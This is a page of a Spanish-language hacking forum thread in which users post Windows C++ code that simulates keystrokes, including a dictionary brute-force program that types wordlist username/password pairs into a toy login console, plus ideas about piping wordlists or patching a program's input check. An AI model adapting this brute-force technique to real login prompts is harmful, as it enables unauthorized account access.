elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Ataque por fuerza bruta en c++
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] 3 Ir Abajo Respuesta Imprimir
Autor Tema: Ataque por fuerza bruta en c++  (Leído 18,832 veces)
Khronos14


Desconectado Desconectado

Mensajes: 443


A lie is a lie


Ver Perfil WWW
Re: Ataque por fuerza bruta en c++
« Respuesta #10 en: 21 Junio 2011, 13:59 pm »

Mira este pequeño ejemplo que acabo de hacer:

Código
  1. #include <iostream>
  2. #include <Windows.h>
  3.  
  4. int main(int argc, char * argv[])
  5. {
  6. HWND hCalc = FindWindow(NULL, L"Calculadora"); //Obtenemos el Handle de la ventana de la calculadora
  7. if (hCalc != 0)
  8. {
  9. SetForegroundWindow(hCalc); //Hacemos que la calculadora tenga el foco para enviarle las teclas
  10. keybd_event((BYTE)VkKeyScan('2'), 0, 0, 0); //Pulsamos la tecla 2
  11. keybd_event((BYTE)VkKeyScan('2'), 0, 2, 0); //Levantamos la tecla
  12.  
  13. keybd_event(VK_ADD, 0, 0, 0); //Pulsamos +
  14. keybd_event(VK_ADD, 0, 2, 0); //Levantamos +
  15.  
  16. keybd_event((BYTE)VkKeyScan('3'), 0, 0, 0); //Pulsamos la tecla 3
  17. keybd_event((BYTE)VkKeyScan('3'), 0, 2, 0); //Levantamos la tecla 3
  18.  
  19. keybd_event(VK_RETURN, 0, 0, 0); //Pulsamos enter
  20. keybd_event(VK_RETURN, 0, 2, 0); //Levantamos enter
  21.  
  22. /*
  23. * Con estas pulsaciones la calculadora debería sumar 2 + 3
  24. */
  25. }
  26. else
  27. std::cout << "No se encontró la ventana" << std::endl;
  28.  
  29. std::cin.get();
  30. return 0;
  31. }
  32.  

Para que funcione, tienes que tener la calculadora abierta. Otro método de buscar la ventana es mediante las APIs para trabajar con procesos, como: Process32First,  CreateToolhelp32Snapshot, etc..

Aquí tienes una tabla con todas las Virtual Key Codes:

http://msdn.microsoft.com/en-us/library/dd375731(v=vs.85).aspx

Saludos.


« Última modificación: 21 Junio 2011, 14:45 pm por Khronos14 » En línea

fantasma306

Desconectado Desconectado

Mensajes: 28



Ver Perfil
Re: Ataque por fuerza bruta en c++
« Respuesta #11 en: 21 Junio 2011, 14:43 pm »

Khronos14  ;-) ;-) ;-) ;-) ;-) ;-) ;-) ;-) ;-) ;-) ;-) ;-) ;-) ;-) de lujo


En línea

Es mejor callar y que piensen que eres idiota a hablar y demostrarlo.
El_Java

Desconectado Desconectado

Mensajes: 144



Ver Perfil WWW
Re: Ataque por fuerza bruta en c++
« Respuesta #12 en: 21 Junio 2011, 14:56 pm »

Si es para lo de nuestro proyecto, creo que con hacer un socket udp que se conectara con la direccion 192.168.1.1 del localhost nos valdría, pero claro, esto es teoría, tendre que comprobarlo... xD

el codigo de Khronos14 es solo para Windows, no?
En línea

Khronos14


Desconectado Desconectado

Mensajes: 443


A lie is a lie


Ver Perfil WWW
Re: Ataque por fuerza bruta en c++
« Respuesta #13 en: 21 Junio 2011, 15:09 pm »

Hola El_Java, sí, el código sólo funciona en Windows.

Saludos.
En línea

fantasma306

Desconectado Desconectado

Mensajes: 28



Ver Perfil
Re: Ataque por fuerza bruta en c++
« Respuesta #14 en: 21 Junio 2011, 17:06 pm »

Bueno aqui tengo un codigo basandome en lo que dijo Khronos14 pero no funciona muy bien, los datos se envian correctamente pero se cierra la consola que pide el login y contraseña:

Victima
Código
  1. #include <iostream>
  2. #include <string>
  3. using namespace std;
  4.  
  5. const string usu = "aaa";
  6. const string pas = "cab";
  7.  
  8. int main(){
  9. string USU;
  10. string PAS;
  11.    do{
  12. system("title LOGIN");
  13. cout << "Usuario: ";
  14. cin >> USU;
  15. cout << "Password: ";
  16. cin >> PAS;
  17.    }while(usu!=USU && pas!=PAS);
  18.    return 0;
  19. }
  20.  

BruteForce
Código
  1. #include <iostream>
  2. #include <fstream>
  3. #include <string>
  4. #include <Windows.h>
  5. using namespace std;
  6.  
  7. bool enviar(string login, string pass);
  8.  
  9. int main(){
  10. const HANDLE Consola = GetStdHandle(STD_OUTPUT_HANDLE);
  11. string login, pswd;
  12. ifstream pass("dico.txt");
  13. ifstream user("dico.txt");
  14. if(pass.is_open() && user.is_open()){
  15. bool seguir=true;
  16. while(!user.eof() && seguir){
  17. user>>login;
  18. while(!pass.eof() && seguir){
  19. pass>>pswd;
  20. SetForegroundWindow((HWND)Consola);
  21. seguir=enviar(login,pswd);
  22. Sleep(1000);
  23. }
  24. }
  25.  
  26. }
  27. system("pause");
  28. return 0;
  29. }
  30.  
  31. bool enviar(string login, string pass){
  32. HWND hCalc = FindWindow(NULL, TEXT("LOGIN"));//Obtenemos el Handle de la ventana de la calculadora
  33. if (hCalc != 0){
  34. cout<<"User: "<<login<<endl;
  35. cout<<"Pass: "<<pass<<endl;
  36. SetForegroundWindow(hCalc);
  37.  
  38. /*enviar pass*/
  39. for(register int i=0;i<login.size();i++){
  40. keybd_event((BYTE)VkKeyScan(login[i]), 0, 0, 0);
  41. keybd_event((BYTE)VkKeyScan(login[i]), 0, 2, 0);
  42. }
  43. keybd_event(VK_RETURN, 0, 0, 0); //Pulsamos enter
  44. keybd_event(VK_RETURN, 0, 2, 0); //Levantamos enter
  45.  
  46. /*enviar login*/
  47. for(register int i=0;i<pass.size();i++){
  48. keybd_event((BYTE)VkKeyScan(pass[i]), 0, 0, 0);
  49. keybd_event((BYTE)VkKeyScan(pass[i]), 0, 2, 0);
  50. }
  51. keybd_event(VK_RETURN, 0, 0, 0); //Pulsamos enter
  52. keybd_event(VK_RETURN, 0, 2, 0); //Levantamos enter
  53.  
  54. return true;
  55. }
  56. else
  57. return false;
  58. }


no se en que falla...
En línea

Es mejor callar y que piensen que eres idiota a hablar y demostrarlo.
Khronos14


Desconectado Desconectado

Mensajes: 443


A lie is a lie


Ver Perfil WWW
Re: Ataque por fuerza bruta en c++
« Respuesta #15 en: 21 Junio 2011, 17:45 pm »

Creo que te falta un cin.clear() en el código de la víctima.

Saludos.

En línea

leogtz
. . .. ... ..... ........ ............. .....................
Colaborador
***
Desconectado Desconectado

Mensajes: 3.069


/^$/


Ver Perfil WWW
Re: Ataque por fuerza bruta en c++
« Respuesta #16 en: 21 Junio 2011, 17:49 pm »

¿Por qué no haces la prueba con tuberías?, es decir, que el programa espere el user y el password de la entrada estándar y se lo mandas con un comando.

type words | programa
ó
cat words | programa
En línea

Código
  1. (( 1 / 0 )) &> /dev/null || {
  2. echo -e "stderrrrrrrrrrrrrrrrrrr";
  3. }
  4.  
http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com
fantasma306

Desconectado Desconectado

Mensajes: 28



Ver Perfil
Re: Ataque por fuerza bruta en c++
« Respuesta #17 en: 21 Junio 2011, 17:54 pm »

Creo que te falta un cin.clear() en el código de la víctima.

Saludos.

no me ha funcionado, sigue igual :S

¿Por qué no haces la prueba con tuberías?, es decir, que el programa espere el user y el password de la entrada estándar y se lo mandas con un comando.

type words | programa
ó
cat words | programa

para programar "pipes" o "tuberias" hay que modificar el programa Victima, para establecer una comunicacion,
y lo que se quiere hacer es que se pueda enviar datos a otra consola, sin conocer el codigo que tiene... lo de las consolas es solo para hacer la prueba...

saludos
En línea

Es mejor callar y que piensen que eres idiota a hablar y demostrarlo.
leogtz
. . .. ... ..... ........ ............. .....................
Colaborador
***
Desconectado Desconectado

Mensajes: 3.069


/^$/


Ver Perfil WWW
Re: Ataque por fuerza bruta en c++
« Respuesta #18 en: 21 Junio 2011, 18:02 pm »

no me ha funcionado, sigue igual :S

para programar "pipes" o "tuberias" hay que modificar el programa Victima, para establecer una comunicacion,
y lo que se quiere hacer es que se pueda enviar datos a otra consola, sin conocer el codigo que tiene... lo de las consolas es solo para hacer la prueba...

saludos

Ah, entiendo, yo pensé que solo lo hacía por probar... .En fín, saludos.
En línea

Código
  1. (( 1 / 0 )) &> /dev/null || {
  2. echo -e "stderrrrrrrrrrrrrrrrrrr";
  3. }
  4.  
http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com
do-while


Desconectado Desconectado

Mensajes: 1.276


¿Habra que sacarla de paseo?


Ver Perfil
Re: Ataque por fuerza bruta en c++
« Respuesta #19 en: 21 Junio 2011, 18:17 pm »

¡Buenas!

No se si se podria hacer de esta forma o no. Durante un tiempo estuve trasteando con la ingenieria inversa. Las funciones de lectura, si leen cadenas, necesitan la diereccion de memoria de la cadena en la que almacenan datos. Esta parte de la memoria supongo que sera de lectura/escritura. Lo que podrias intentar es parchear la lectura de los datos, para escribir la cadena desde fuera del programa e introducir un salto a la parte en la que se comprueba si el user/pass es correcto, y asi hasta que encuentres un par valido... Asi te olvidas de las APIs y el programa es mas portable... Pero ya te digo, solo es una idea.

¡Saludos!

   
Advertencia - mientras estabas escribiendo, una nueva respuesta fue publicada. Probablemente desees revisar tu mensaje
En línea

- Doctor, confundo los números y los colores.
- Vaya marrón.
- ¿Marrón? ¡Por el culo te la hinco!
Páginas: 1 [2] 3 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ataque fuerza bruta HTTP?
Hacking
1/2lemon 8 11,957 Último mensaje 15 Agosto 2011, 16:42 pm
por CloudswX
Ataque dirección web fuerza bruta?
Hacking
ItaiMegamisama 5 4,734 Último mensaje 18 Abril 2012, 01:02 am
por Breixo
Ataque fuerza bruta con medusa ! BT 5!
Seguridad
32hacking 2 4,975 Último mensaje 29 Mayo 2012, 11:29 am
por el-brujo
Ataque de fuerza bruta contra un EFI PIN Lock en una MacBook Pro
Hacking
orvtech 2 3,646 Último mensaje 27 Febrero 2013, 19:11 pm
por orvtech
Un ataque distribuido por fuerza bruta está infectando de forma masiva blogs ...
Noticias
wolfbcn 0 1,914 Último mensaje 14 Abril 2013, 01:35 am
por wolfbcn
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines